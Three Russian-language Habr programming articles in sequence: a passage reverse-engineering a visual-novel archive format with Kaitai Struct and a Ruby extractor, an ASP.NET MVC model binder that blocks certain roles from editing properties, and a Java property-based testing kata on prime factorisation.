Негусто, в общем. Каталога файлов нет, где искать концы, на первый взгляд, непонятно. Тут самое время вспомнить еще раз, сколько же эти файлы занимают и прикинуть, не может ли одно из этих двух числе быть ссылкой куда-то еще:
* data01.ykc — 8393294 @unknown1 = 8388634
* data02.ykc — 560418878 @unknown1 = 560390478
* data03.ykc — 219792804 @unknown1 = 219734364
Какое поразительное сходство. Давайте проверять, что там лежит по этому смещению:
```
meta:
id: ykc
application: Yuka Engine
endian: le
seq:
- id: magic
contents: ["YKC001", 0, 0]
- id: magic2
contents: [0x18, 0, 0, 0, 0, 0, 0, 0]
- id: unknown_ofs
type: u4
- id: unknown2
type: u4
instances:
unknown3:
pos: unknown_ofs
size-eos: true
```
Мы добавили описание еще этого поля "unknown3". На этот раз оно пошло не в секцию "seq", а в секцию "instances". По сути это примерно те же поля, что можно описать в "seq", но они идут не по порядку, а имеют явное указание, откуда их читать (по какому смещению, из какого потока и т.д.). Мы указали, что хотим иметь поле с названием "unknown3" (мы пока не знаем, что там), начинающееся от смещения unknown\_ofs (`pos: unknown_ofs`) и длящееся до конца файла (`size-eos: true`). Как как ты не знаем, что там — нам прочитают просто поток байт. Да, пока негусто, но с этим уже можно пробовать жить. Пробуем:
Сразу обращаем внимание на то, что длина того, что у нас прочиталась поразительно похоже на содержимое поле unknown2. Т.е. похоже, что в начале YKC-файла лежит просто указание, по какому смещению и какого размера реальный заголовок файла. Исправляем наш файл формата, чтобы отразить эту догадку:
```
meta:
id: ykc
application: Yuka Engine
endian: le
seq:
- id: magic
contents: ["YKC001", 0, 0]
- id: magic2
contents: [0x18, 0, 0, 0, 0, 0, 0, 0]
- id: header_ofs
type: u4
- id: header_len
type: u4
instances:
header:
pos: header_ofs
size: header_len
```
Изменения незначительные: мы переименовали все unknown-поля, чтобы отразить их смысл, и "size-eos: true" (читать все безусловно до конца файла) изменили на "size: header\_len". Скорее всего это близко соответствует замыслу того, кто придумывал этот формат. Загружаем еще раз и теперь концентрируемся на том блоке данных, что мы назвали "header". Вот как выглядит его начало для data01.ykc:
```
000000: 57 e7 7f 00 0a 00 00 00 18 00 00 00 13 02 00 00 | W...............
000010: 00 00 00 00 61 e7 7f 00 0b 00 00 00 2b 02 00 00 | ....a.......+...
000020: db 2a 00 00 00 00 00 00 6c e7 7f 00 11 00 00 00 | .*......l.......
000030: 06 2d 00 00 92 16 00 00 00 00 00 00 7d e7 7f 00 | .-..........}...
```
для data02.ykc:
```
000000: d1 2b 66 21 0c 00 00 00 18 00 00 00 5a 04 00 00 | .+f!........Z...
000010: 00 00 00 00 dd 2b 66 21 14 00 00 00 72 04 00 00 | .....+f!....r...
000020: 26 1a 00 00 00 00 00 00 f1 2b 66 21 16 00 00 00 | &........+f!....
000030: 98 1e 00 00 a8 32 00 00 00 00 00 00 07 2c 66 21 | .....2.......,f!
```
для data03.ykc:
```
000000: ec 30 17 0d 26 00 00 00 18 00 00 00 48 fd 00 00 | .0..&.......H...
000010: 00 00 00 00 12 31 17 0d 26 00 00 00 60 fd 00 00 | .....1..&...`...
000020: 0d 82 03 00 00 00 00 00 38 31 17 0d 26 00 00 00 | ........81..&...
000030: 6d 7f 04 00 d0 85 01 00 00 00 00 00 5e 31 17 0d | m...........^1..
```
На первый взгляд, ничего не понятно и общего ничего нет. На второй взгляд, на самом деле, глаз цепляется за последовательность повторяющихся байт. В первом файле это `e7 7f`, во втором — `2b 66`, в третьем — `30 17` и `31 17`. Очень похоже, что мы имеем дело с повторяющимися записями фиксированной длины и длина эта — 0x14 (т.е. 20) байт. Кстати, это хорошо согласуется с длинами header во всех трех файлах: и 4660, и 28400, и 58440 делятся на 20. Давайте проверять такую гипотезу:
```
meta:
id: ykc
application: Yuka Engine
endian: le
seq:
- id: magic
contents: ["YKC001", 0, 0]
- id: magic2
contents: [0x18, 0, 0, 0, 0, 0, 0, 0]
- id: header_ofs
type: u4
- id: header_len
type: u4
instances:
header:
pos: header_ofs
size: header_len
type: header
types:
header:
seq:
- id: entries
size: 0x14
repeat: eos
```
Обратите внимание на то, что стало с instance "header". Оно все так же начинается с header\_ofs и имеет длину header\_len, но добавилось еще указание `type: header`. В отличие от "u4" (целое число), мы сейчас объявим и будем использовать пользовательский тип и весь блок "header" будет разбираться этим типом. Ниже идет описание типа "header" — см. "types: header: ". Как можно догадаться по внешнему виду и слову "seq" — дальше следует ровно такой же синтаксис как на самом верхнем уровне файла. Т.е. внутри нашего нового типа header можно точно так же задать поля, которые будут читать с самого начала блока последовательно (в "seq"), поля по определенным смещениям (в "instances"), свои подтипы (в "types") и т.д.
Итак, мы задали тип "header", состоящий пока из одного поля entries, имеющего размер 0x14 байт, зато повторенного столько раз, сколько возможно до конца потока (`repeat: eos`). Потоком, кстати, в этом случае считается уже блок header, который мы объявили явно как блок в header\_len байт, начинающийся с header\_ofs. Т.е. если бы там что-то было за ним еще — оно бы не прочиталось, все в порядке.
Смотрим, что получилось:
```
[-] header
[-] @entries (233 = 0xe9 entries)
[.] 0 = 57 e7 7f 00|0a 00 00 00|18 00 00 00|13 02 00 00|00 00 00 00
[.] 1 = 61 e7 7f 00|0b 00 00 00|2b 02 00 00|db 2a 00 00|00 00 00 00
[.] 2 = 6c e7 7f 00|11 00 00 00|06 2d 00 00|92 16 00 00|00 00 00 00
[.] 3 = 7d e7 7f 00|14 00 00 00|98 43 00 00|69 25 00 00|00 00 00 00
[.] 4 = 91 e7 7f 00|15 00 00 00|01 69 00 00|d7 12 00 00|00 00 00 00
[.] 5 = a6 e7 7f 00|12 00 00 00|d8 7b 00 00|27 3f 07 00|00 00 00 00
```
А что, неплохо. Какая-то общность записей явно прослеживается. Из спортивного интереса посмотрим второй файл:
```
[-] header
[-] @entries (1420 = 0x58c entries)
[.] 0 = d1 2b 66 21|0c 00 00 00|18 00 00 00|5a 04 00 00|00 00 00 00
[.] 1 = dd 2b 66 21|14 00 00 00|72 04 00 00|26 1a 00 00|00 00 00 00
[.] 2 = f1 2b 66 21|16 00 00 00|98 1e 00 00|a8 32 00 00|00 00 00 00
[.] 3 = 07 2c 66 21|16 00 00 00|40 51 00 00|a2 16 00 00|00 00 00 00
[.] 4 = 1d 2c 66 21|16 00 00 00|e2 67 00 00|89 c4 00 00|00 00 00 00
[.] 5 = 33 2c 66 21|16 00 00 00|6b 2c 01 00|fa f5 00 00|00 00 00 00
```
Кстати, "233" и "1420" записей вполне похоже на количество файлов в архиве. Первый архив у нас маленький (8 мегабайт), на 233 файла — получается в среднем по 36022 байта на файл. Вполне похоже на какие-то скрипты, конфиги, файлы сценариев и т.п. Второй архив у нас самый большой (560 мегабайт), на 1420 файлов — по 394661 байта на файл, вполне похоже на какие-нибудь картинки или файлы с записями голоса.
`57 e7 7f 00`, `61 e7 7f 00`, `6c e7 7f 00` и т.д. — это явно последовательность увеличивающихся чисел, что бы она могла означать? Во втором файле это, соответственно, `d1 2b 66 21`, `dd 2b 66 21`, `f1 2b 66 21`. Стоп, где-то я уже видел эти цифры. Смотрим в самое начало нашего исследования — точно. Это же близко к длине всего архивного файла целиком. А значит это опять указатели на что-то внутри файла. Собственно, давайте уже опишем структуру этих 20-байтовых записей. Вроде бы из внешнего вида понятно, что это банально 5 целых чисел. Описываем еще один тип "file\_entry". В вашего молчаливого разрешения я не буду приводить весь ksy файл целиком, а приведу только изменившуюся секцию types:
```
types:
header:
seq:
- id: entries
repeat: eos
type: file_entry
file_entry:
seq:
- id: unknown_ofs
type: u4
- id: unknown2
type: u4
- id: unknown3
type: u4
- id: unknown4
type: u4
- id: unknown5
type: u4
```
Здесь никаких новых конструкций вроде бы нет. Добавили "type" к полю entries и описали этот самый тип как 5 подряд идущих целых (типа u4). Смотрим, что получилось:
```
[-] header
[-] @entries (233 = 0xe9 entries)
[-] 0
[.] @unknown_ofs = 8382295
[.] @unknown2 = 10
[.] @unknown3 = 24
[.] @unknown4 = 531
[.] @unknown5 = 0
[-] 1
[.] @unknown_ofs = 8382305
[.] @unknown2 = 11
[.] @unknown3 = 555
[.] @unknown4 = 10971
[.] @unknown5 = 0
[-] 2
[.] @unknown_ofs = 8382316
[.] @unknown2 = 17
[.] @unknown3 = 11526
[.] @unknown4 = 5778
[.] @unknown5 = 0
```
Вырисовывается еще одна гипотеза: unknown3 — указатель на начало тела файла в архиве, а unknown4 — его длина. Ведь 24 + 531 = 555, а 555 + 10971 = 11526. Т.е. это файлы внутри архива, которые тупо идут последовательно. Аналогичное наблюдение можно сделать и для unknown\_ofs и unknown2: 8382295 + 10 = 8382305, 8382305 + 11 = 8382316. То есть unknown2 — длина каких-то записей, начинающихся с unknown\_ofs. unknown5, похоже, всегда равен 0. Вперед, добавляем внутрь каждого file\_entry еще два поля: зачитаем, контент (unknown\_ofs; unknown2) и тело файла на (unknown3; unknown4). Привожу только описание file\_entry:
```
file_entry:
seq:
- id: unknown_ofs
type: u4
- id: unknown_len
type: u4
- id: body_ofs
type: u4
- id: body_len
type: u4
- id: unknown5
type: u4
instances:
unknown:
pos: unknown_ofs
size: unknown_len
io: _root._io
body:
pos: body_ofs
size: body_len
io: _root._io
```
Из нового и нетривиального здесь только одна конструкция: `io: _root._io`. Без нее `pos: body_ofs`, скажем, будет отсчитывать смещение body\_ofs в текущем потоке, т.е. в потоке, состоящем из 20 байт file\_entry. Разумеется, попытка прочитать 8-милионный байт из 20 приведет к ошибке. Поэтому и нужна эта самая специальная магия, которая говорит о том, что зачитывать мы будем не из текущего потока, а из того потока, который соответствует всему файлу в целом — `_root._io`.
Что получилось:
```
[-] @entries (233 = 0xe9 entries)
[-] 0
[.] @unknown_ofs = 8382295
[.] @unknown_len = 10
[.] @body_ofs = 24
[.] @body_len = 531
[.] @unknown5 = 0
[-] unknown = 73 74 61 72 74 2e 79 6b 73 00
[-] body = 59 4b 53 30 30 31 01 00 30 00 00 00…
[-] 1
[.] @unknown_ofs = 8382305
[.] @unknown_len = 11
[.] @body_ofs = 555
[.] @body_len = 10971
[.] @unknown5 = 0
[-] unknown = 73 79 73 74 65 6d 2e 79 6b 67 00
[-] body = 59 4b 47 30 30 30 00 00 40 00 00 00…
```
Даже невооруженным глазом видно, что `73 74 61 72 74 2e 79 6b 73 00` — это ASCII-строка, а посмотрев в char-представление, можно убедиться, что это "start.yks" с терминирующим 0 байтом, а `73 79 73 74 65 6d 2e 79 6b 67 00` — это "system.ykg". Ура, это похоже на имена файлов. И про них мы точно знаем, что они — строки. Давайте отразим этот факт:
```
file_entry:
seq:
- id: filename_ofs
type: u4
- id: filename_len
type: u4
- id: body_ofs
type: u4
- id: body_len
type: u4
- id: unknown5
type: u4
instances:
filename:
pos: filename_ofs
size: filename_len
type: str
encoding: ASCII
io: _root._io
body:
pos: body_ofs
size: body_len
io: _root._io
```
Из нововведений — `type: str` (означает, что захваченные байты надо интерпретировать, как строку) и `encoding: ASCII` (мы пока точно не знаем, что там за кодировка, поэтому пойдем по пути наименьшего сопротивления). Смотрим в визуализаторе:
```
[-] header
[-] @entries (233 = 0xe9 entries)
[-] 0
[.] @filename_ofs = 8382295
[.] @filename_len = 10
[.] @body_ofs = 24
[.] @body_len = 531
[.] @unknown5 = 0
[-] filename = "start.yks\x00"
[-] body = 59 4b 53 30 30 31 01 00 30 00 00 00…
[-] 1
[.] @filename_ofs = 8382305
[.] @filename_len = 11
[.] @body_ofs = 555
[.] @body_len = 10971
[.] @unknown5 = 0
[-] filename = "system.ykg\x00"
[-] body = 59 4b 47 30 30 30 00 00 40 00 00 00…
[-] 2
[.] @filename_ofs = 8382316
[.] @filename_len = 17
[.] @body_ofs = 11526
[.] @body_len = 5778
[.] @unknown5 = 0
[-] filename = "SYSTEM\\black.PNG\x00"
[-] body = 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d…
```
Красота. Фактически, все, задачу мы уже выполнили, этого достаточно, чтобы извлекать файлы. А теперь — та магия, ради которой все затевалось. Давайте напишем скрипт, который выгрузит нам все файлы из одного архива. И для этого нам не придется писать парсинг всех этих полей еще раз. Мы просто берем компилятор ksc и делаем:
```
ksc -t ruby ykc.ksy
```
и получаем в текущей папке прекрасный файл ykc.rb, который можно тут же подключать, как библиотеку и использовать. Как? Давайте для разминки покажу, как вывести на экран листинг всех файлов архива:
```
require_relative 'ykc'
Ykc.from_file('data01.ykc').header.entries.each { |f| puts f.filename }
```
Внушает? Всего одна строчка (не считая подключения библиотеки) — и готово. Запускаем и видим здоровый листинг:
```
start.yks
system.ykg
SYSTEM\black.PNG
SYSTEM\bt_click.ogg
SYSTEM\bt_select.ogg
SYSTEM\config.yks
SYSTEM\Confirmation.yks
SYSTEM\confirmation_load.png
SYSTEM\confirmation_no.ykg
SYSTEM\confirmation_no_load.ykg
...
```
Давайте разберемся, что же тут происходит:
* `Ykc.from_file(...)` — порождает объект класса Ykc из указанного файла на диске; в поля объекта автоматически парсится то, что описано в формате
* `.header` — выбирает поле "header" класса Ykc, тем самым возвращая экземпляр класса Ykc::Header
* `.entries` — выбирает поле "entries" у заголовка, возвращает массив элементов класса Ykc::FileEntry
* `.each { |f| ... }` — делает что-то с каждым элементом массива
* `puts f.filename` — выводит поле "filename" объекта f (который класса Ykc::FileEntry)
Перед тем, как написать код, который будет извлекать из архива все файлы, обратим внимание еще на пару фактов:
* Во-первых, в путях есть папки, а т.к. этот архив делали на Windows-системе, в качестве знака разделителя элементов пути используется обратный слэш ("\"). Не знаю как где, но как минимум в Ruby это приводит к тому, что создается папка с обратными слэшами в ней. Для корректной работы всяких там mkdir\_p нужно будет поменять "\" на "/".
* Во-вторых, в именах файлов в конце есть терминирующий 0, доставшийся нам, видимо, как тяжелое наследие C. При выводе на печать его не видно, но по хорошему его бы тоже стоит убрать.
* В-третьих, на самом деле вскрытие показало, что в data02.ykc находятся файлы, выглядящие как-то так:
```
"SE\\00050_\x93d\x98b\x82P.ogg\x00"
"SE\\00080_\x83J\x81[\x83e\x83\x93.ogg\x00"
"SE\\00090_\x83`\x83\x83\x83C\x83\x80.ogg\x00"
"SE\\00130_\x83h\x83\x93\x83K\x83`\x83\x83\x82Q.ogg\x00"
"SE\\00160_\x91\x96\x82\xE8\x8B\x8E\x82\xE9\x82Q.ogg\x00"
```
Вспомнив гипотезу из самого начала статьи о том, что программисты явно были японцами и это может быть ShiftJIS, меняем encoding у filename на "SJIS", активно утешая себя мыслью о том, что для тех, кто использует не-ASCII символы в именах файлах приготовлен специальный круг в аду. Не забываем перекомпилировать ksy => rb, проверяем, теперь все в порядке:
```
SE\00050_電話１.ogg
SE\00080_カーテン.ogg
SE\00090_チャイム.ogg
SE\00130_ドンガチャ２.ogg
SE\00160_走り去る２.ogg
```
Ну, не то, чтобы совсем в порядке, но это вполне похоже на японский. Воспользовавшись хотя бы гуглопереводчиком, можно проверить, что "電話" — это "телефон", и "SE\00050" — видимо, звуковой эффект звонка телефона.
Окончательный скрипт выгрузки всего выглядит так:
```
require 'fileutils'
require_relative 'ykc'
EXTRACT_PATH = 'extracted'
ARGV.each { |ykc_fn|
Ykc.from_file(ykc_fn).header.entries.each { |f|
filename = f.filename.strip.encode('UTF-8').gsub("\\", '/')
dirname = File.dirname(filename)
FileUtils::mkdir_p("#{EXTRACT_PATH}/#{dirname}")
File.write("#{EXTRACT_PATH}/#{filename}", f.body)
}
}
```
Уже не одна строчка, конечно, но, с другой стороны, комментировать тут тоже особенно нечего. Из аргументов командной строки получаем имена файлов с архивами (вполне можно запускать что-то типа ./extract-ykc \*.ykc — сработает), приводим к нужному нам виду имя файла из f.filename, создаем, если нужно, папки в пути, берем само содержимое файла из f.body и записываем его в файл с нужным путем.
Наша задача выполнена — запустив скрипт, можно действительно убедиться в том, что файлы извлекаются. Как мы и предполагали, картинки будут преимущественно в png (и их можно сразу же смотреть), музыка и звуки — в ogg (и их можно сразу же слушать). Вот, например, что в папке BG явно получились все бэкграунды:
А в папке TA/ по разложены спрайты, которые на них накладываются. Так, например, выглядит Мика:
Отдельно обратите внимание на страшные названия файлов. Самое нетривиальное, что остается — это извлеченные файлы yks и ykg — видимо, в них и есть сценарий и текст новеллы. На первый взгляд — это бинарные файлы с непонятной структурой. Думаю, отложим их на следующий раз :)
Краткие выводы по итогам такого шапочного знакомства с KS:
* Kaitai Struct в целом весьма годен, достаточно близко соответствует тем действиям, которые бы делались без него и экономит кучу времени. Если делать такое руками — то, как минимум, пришлось бы писать то же самое на каком-нибудь Ruby или Python: один раз, чтобы разобраться со структурой бинарника, другой — чтобы собственно сделать распаковщик. А если делать это средствами каких-нибудь "продвинутых" редакторов типа 101 или Hexinator — то и три раза (плюс еще один раз — описать в редакторе).
* Визуализатор Kaitai Struct — весьма примитивен, и местами тормозит и подглючивает, но, в целом, это лучшее, что я видел в этой области. Ему бы еще хекс-редактор доделать до состояния okteta.
* Хекс-редактор, собственно, можно выкидывать после того, как сделан первый скелет файла. Все равно ходить по дереву куда проще и нагляднее, чем вручную вбивать смещения. Но он все еще нужен и полезен для предварительного просмотра + просмотра exe-шника.
* Экспрессивность языка ksy очень большая (в разы лучше и удобнее, чем те же языки разметки в редакторах — например, там, как правило, даже речь не идет о том, чтобы декларативно описать структуру в другом конце файла), но вот документация, мягко говоря, оставляет желать лучшего. Признаюсь честно — за последнюю неделю я, наверное, задолбал вопросами автора KS. Вот этот самый трюк с `io: _root._io` — вообще отстрел мозга, который самостоятельно не придумаешь. Надеюсь, к версии 1.0 документацию таки приведут в приличный вид.
**UPDATE**: Прошу у всех прощения за ввод в заблуждение с визуализатором. Оказывается, он еще не опубликован — мне автор высылал лично пару недель назад. Сейчас написал автору, спросил, можно ли его выложить.
**UPDATE 2**: Как [оказалось](https://habrahabr.ru/post/281595/#comment_8854419), в статье был ряд неточностей, а автор KS — [GreyCat](https://habrahabr.ru/users/greycat/) — есть на хабре. Автор обещал выложить визуализатор в ближайшее время.
**UPDATE 3**: Визуализатор [выложили](https://github.com/kaitai-io/kaitai_struct_visualizer/). Ставится через `gem install kaitai-struct-visualizer`. | https://habr.com/ru/post/281595/ | null | ru | null |
# Запрет редактирования свойств модели в ASP.NET MVC
При разработке сложных бизнес приложений часто приходится сталкиваться с ситуацией, когда пользователям необходимо ограничивать права на редактирование некоторых данных. В данной статье будет рассмотрен пример запрета изменения определенных свойств модели в приложении, разработанном на ASP.NET MVC.
#### Задача
Допустим, что у нас есть модель клиента, содержащая его идентификатор, имя и ИНН.
```
public class ClientViewModel
{
public int Id { get; set; }
public string Name { get; set; }
public string Inn { get; set; }
}
```
Данные поступают на страницу в виде модели. Совершив необходимые действия, пользователь отправляет HTTP-запрос, который содержит в качестве параметров значения полей формы. Перед тем, как будет вызван Action-метод, отвечающий за обработку запроса, DefaultModelBinder связывает полученные из формы параметры с моделью данных. Все изменения, внесенные пользователем, отображаются в свойствах полученной модели.
Но что, если некоторые свойства необходимо защитить от изменения, чтобы пользователь, не имеющий на это прав, случайно или со злым умыслом, не смог нарушить целостность данных?! Для решения данной проблемы необходимо разработать механизм, который позволил бы запрещать изменение некоторых свойств модели конкретным ролям пользователей.
#### Идея решения
* Создать новый атрибут. В нем указывать роли, которым запрещено редактирование. Этим атрибутом помечать конкретные свойства модели.
* Переопределить стандартный привязчик моделей DefaultModelBinder таким образом, чтобы игнорировалась привязка запрещенных свойств, если пользователь относится хотя бы к одной из ролей, указанных в атрибуте.
#### Решение
Создание атрибута. В строке Roles через запятую будут указываться запрещенные роли:
```
[AttributeUsage(AttributeTargets.Property, AllowMultiple = false)]
public class DenyWriteRolesAttribute : Attribute
{
public string Roles { get; set; }
}
```
Новый механизм привязки моделей реализуется наследованием от стандартного класса DefaultModelBinder. Необходимо переопределить метод BindProperty, отвечающий за привязку конкретных свойств. Если у свойства есть атрибут DenyWriteRoles, и хотя бы одна роль пользователя совпадает с любой из ролей, указанных в атрибуте, то привязка не происходит:
```
public class CustomModelBinder : DefaultModelBinder
{
protected override void BindProperty(ControllerContext controllerContext, ModelBindingContext bindingContext, System.ComponentModel.PropertyDescriptor propertyDescriptor)
{
var a = propertyDescriptor.Attributes.OfType().FirstOrDefault();
if (a != null && a.Roles.Split(',').Any(r => controllerContext.HttpContext.User.IsInRole(r)))
return;
base.BindProperty(controllerContext, bindingContext, propertyDescriptor);
}
}
```
Ниже приведен пример установки CustomModelBinder в качестве привязчика моделей по умолчанию в файле Global.asax.cs:
```
protected void Application_Start()
{
AreaRegistration.RegisterAllAreas();
ModelBinders.Binders.DefaultBinder = new CustomModelBinder();
RegisterGlobalFilters(GlobalFilters.Filters);
RegisterRoutes(RouteTable.Routes);
}
```
Теперь, чтобы запретить пользователям с ролью “user” изменять свойство модели “Name”, достаточно установить атрибут DenyWriteRoles:
```
public class ClientViewModel
{
public int Id { get; set; }
[DenyWriteRoles(Roles = "user")]
public string Name { get; set; }
public string Inn { get; set; }
}
```
#### Результат
Пользователь, при работе с приложением, имеет возможность видеть все свойства модели, однако, изменения, касающиеся защищенных свойств, остаются проигнорированными.
 | https://habr.com/ru/post/156285/ | null | ru | null |
# Старая псина учит новые трюки: Code Kata с использованием QuickCheck
Когда я агитирую коллег-программистов создавать больше различных автотестов на их код, они часто жалуются, что это сложная и унылая работа. И в чём-то они правы. При использовании классических юнит-тестов, действительно, нередко приходится писать уйму кода, чтобы проверить каждый отдельный случай поведения. Да и к качеству тестирования порой возникают вопросы, особенно в сложных системах, когда тривиальные сценарии использования проходят на ура, но на каких-то более сложных сценариях, на которые никто *не подумал* писать тесты, возникают неприятные проблемы.
Я уже давно слышал про способ тестирования, который используется в [QuickCheck](http://en.wikipedia.org/wiki/QuickCheck), но всё никак не хватало финального толчка, чтобы им заняться вплотную. Этим толчком стала [эта презентация](http://www.infoq.com/presentations/automated-testing) от Джона Хьюза, автора этой замечательной библиотеки.
В чём заключается QuickCheck-подход
===================================
Описать суть подхода можно довольно просто: мы не создаём тесты-примеры, а вместо этого задаём **правила**, которые определяют поведение системы на **произвольных** входных данных. Библиотека сама генерирует большое количество случайных входных данных и проверяет, соответствует ли поведение кода установленным правилам. Если это не так, то она показывает нам, на каком примере происходит падение теста.
Звучит многообещающе? Вполне.
Вот только с какого бока подойти к этому чуду ~~простому быдлопрограммисту~~ человеку, который пишет не на Haskell и не на Erlang, а на более мэйнстримовых языках? Вот я, к примеру, более комфортно чувствую себя при программировании на Java. Не беда! Гугл практически сразу подсказывает, что для JUnit есть соответствующий плагин под названием [JUnit-QuickCheck](https://github.com/pholser/junit-quickcheck).
Лучший вариант попробовать новый способ подход в программировании — написать что-то уже известное. Поэтому я взял классическую [Prime Factors Kata от Роберта Мартина](http://butunclebob.com/ArticleS.UncleBob.ThePrimeFactorsKata). Рекомендую по-быстрому ознакомиться с ней, прежде чем углубляться в мою статью, потому что иначе могут быть непонятны какие-то моменты.
Поехали
=======
Для начала создадим пустой проект. Чтобы не утомлять читателя простынёй XML-файлов, я буду использовать для этого [Gradle](http://www.gradle.org/). С ним всё описание проекта уместится в несколько строчек:
```
apply plugin: 'java'
repositories {
mavenCentral()
}
dependencies {
testCompile (
"junit:junit:4.11",
"org.hamcrest:hamcrest-all:1.3",
"org.junit.contrib:junit-theories:4.11",
"com.pholser:junit-quickcheck-core:0.4-beta-1",
"com.pholser:junit-quickcheck-generators:0.4-beta-1"
)
}
```
Каждая зависимость находится здесь не случайно. Зачем здесь нужен сам JUnit, объяснять не приходится, а про остальные зависимости скажу по паре слов.
* Hamcrest мы будем использовать, чтобы писать красивые и легко читаемые assert-ы.
* JUnit-Theories также необходим, потому что наш плагин работает только с ним (потому что во встроенной в JUnit версии теорий до сих пор не исправлен [один неприятный баг](https://github.com/junit-team/junit/issues/64))
* Проекты junit-quickcheck-core и junit-quickcheck-generators содержат классы, которые мы будем использовать непосредственно для генерации тестовых значений.
Следуя принципам TDD, начинаем с самой простой теории, что позволяет максимально быстро удостовериться, что цикл обратной связи функционирует.
```
import static org.hamcrest.CoreMatchers.is;
import static org.hamcrest.MatcherAssert.assertThat;
import com.pholser.junit.quickcheck.ForAll;
import org.junit.contrib.theories.Theories;
import org.junit.contrib.theories.Theory;
import org.junit.runner.RunWith;
@RunWith(Theories.class)
public class PrimeFactorsTest
{
@Theory public void allOk(@ForAll Integer number) {
assertThat(true, is(true));
}
}
```
Этот простенький трюк может сэкономить Вам уйму времени. Я не раз видел, как люди, применяя TDD, тратят много времени на создание сложного теста, а когда его наконец запускают, обнаруживают, что он не может работать из-за какой-то совершенно посторонней проблемы (не скачались или не прописались зависимости, не установлен JDK, неправильно настроился проект, код неправильно написан и уйма других нелепых ошибок). Это всегда очень сильно расстраивает и сбивает с рабочего ритма. Особенно сложно справиться с этим новичкам, которые только ещё пробуют TDD на вкус.
Поэтому я и сам *всегда* начинаю с самого простого, тривиального, дебильного теста, и вам советую делать так же. Нужно лишь запустить его и проверить, что я вижу, когда он проходит, и вижу, когда он падает. Это значит, что моя система готова к ~~бою~~ работе, и ничто не будет отвлекать от цикла Red-Green-Refactor.
Первая рабочая теория
=====================
Чтобы не заморачиваться вопросом, как выявлять простые числа (это ведь должен делать мой код!), я просто [забиваю уже известные числа в массив](https://github.com/ahitrin/jq-example/blob/2e9539dc076b3799d8dc6c08bacaf36b0a175025/src/test/java/com/github/ahitrin/jqexample/PrimeFactorsTest.java). Очевидно, из-за ограниченности нашего списка мы также вынуждены ограничивать диапазон чисел для тестирования. Исправим это позже, когда придёт время. Чтобы не отвлекаться от главного, я больше не буду писать в коде импорты, ограничусь лишь самим кодом.
```
@Theory public void primeNumberIsItsOwnFactor(@ForAll @InRange(minInt = 1, maxInt = 50) Integer number) {
List firstPrimeNumbers = Arrays.asList(2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47);
assumeThat(number, isIn(firstPrimeNumbers));
List factors = PrimeFactors.extract(number);
assertThat(factors, hasItem(number));
}
```
Мы используем аннотации `@ForAll` и `@InRange` из проекта JUnit-QuickCheck, чтобы автоматически генерировать случайные числа в указанном промежутке. Затем дополнительно фильтруем их с помощью функции `assumeThat`, чтобы последующий код работал только с числами, которые я указал в массиве. Различие между `assumeThat` от `assertThat` в том, что первая функция всего лишь останавливает тест (и переходит к следующему примеру), если очередное число не проходит проверку, а вторая будет сигнализировать об ошибке (и остановит выполнение теста для всех последующих примеров). Использовать assume в тестах идиоматичнее, чем фильтровать значения с помощью условных выражений.
Этот тест сначала будет падать (потому что у нас нет никакой реализации метода `extract`), но это несложно поправить. Решение, которое проходит все тесты, получается тривиальным.
```
public class PrimeFactors
{
public static List extract(Integer number)
{
return Arrays.asList(number);
}
}
```
Не стоит удивляться или негодовать раньше времени. Этот код работает *полностью в соответствии со спецификацией*, раскладывая на простые множители *любое простое число не больше 50*. Чтобы научить код работать с другими числами, просто напишем новую теорию.
Нарастим мясо на скелет
=======================
Какими свойствами обладает набор множителей числа? Очевидно, их произведение должно быть равно самому числу.
```
@Theory public void productOfFactorsShouldBeEqualToNumber(@ForAll @InRange(minInt = 2, maxInt = 50) Integer number) {
List factors = PrimeFactors.extract(number);
Integer product = 1;
for (Integer factor: factors)
product = product \* factor;
assertThat(product, is(number));
}
```
Эта теория… не падает! И ведь действительно, если наш код возвращает само число, то так и будет всегда. Чёрт.
Ладно, ещё одна теория, на этот раз более удачная.
```
@Theory public void everyFactorShouldBeSimple(@ForAll @InRange(minInt = 2, maxInt = 50) Integer number) {
List factors = PrimeFactors.extract(number);
assertThat(factors, everyItem(isIn(firstPrimeNumbers)));
}
```
Каждый множитель должен быть простым (ну, попадать в наш список простых), поэтому теория начинает падать стабильно и регулярно. А это именно то, что нам нужно. Пускай, к примеру, выпала такая ошибка:
```
org.junit.contrib.theories.internal.ParameterizedAssertionError: everyFactorShouldBeSimple("10" )
at org.junit.contrib.theories.Theories$TheoryAnchor.reportParameterizedError(Theories.java:215)
at org.junit.contrib.theories.Theories$TheoryAnchor$1$1.evaluate(Theories.java:169)
at org.junit.contrib.theories.Theories$TheoryAnchor.runWithCompleteAssignment(Theories.java:153)
at org.junit.contrib.theories.Theories$TheoryAnchor.runWithAssignment(Theories.java:142)
...
```
Напишем максимально простой код, который позволяет найти делители для этого числа:
```
public class PrimeFactors
{
public static List extract(Integer number)
{
if (number % 2 == 0)
return Arrays.asList(2, number / 2);
return Arrays.asList(number);
}
}
```
Запускаем тесты снова. Они автоматически падают на новом найденном значении:
```
org.junit.contrib.theories.internal.ParameterizedAssertionError: everyFactorShouldBeSimple("15" )
at org.junit.contrib.theories.Theories$TheoryAnchor.reportParameterizedError(Theories.java:215)
at org.junit.contrib.theories.Theories$TheoryAnchor$1$1.evaluate(Theories.java:169)
at org.junit.contrib.theories.Theories$TheoryAnchor.runWithCompleteAssignment(Theories.java:153)
...
```
Сделаем хак и для него!
```
public class PrimeFactors
{
public static List extract(Integer number)
{
if (number % 2 == 0)
return Arrays.asList(2, number / 2);
if (number % 3 == 0)
return Arrays.asList(3, number / 3);
return Arrays.asList(number);
}
}
```
Запускаем тесты снова и снова, и каждый раз они находят новое значение, на котором реализация падает. При этом мы не можем просто *возвращать какое-нибудь простое число*, чтобы тест проходил. Если мы так сделаем, то начнёт ломаться предыдущая теория (которая проверяет произведение чисел). Поэтому мы вынуждены шаг за шагом реализовывать правильный алгоритм.
Постепенно (а на самом деле, довольно быстро) эта череда хаков приводит нас к первому корректному [решению](https://github.com/ahitrin/jq-example/blob/196e5b6d942c78300d94dc272b43fa221d4d42c6/src/main/java/com/github/ahitrin/jqexample/PrimeFactors.java).
```
public class PrimeFactors
{
public static List extract(Integer number)
{
List factors = new ArrayList<>();
for (int divisor = 2; divisor <=7; divisor++) {
while ((number > divisor) && (number % divisor == 0)) {
factors.add(divisor);
number = number / divisor;
}
}
factors.add(number);
return factors;
}
}
```
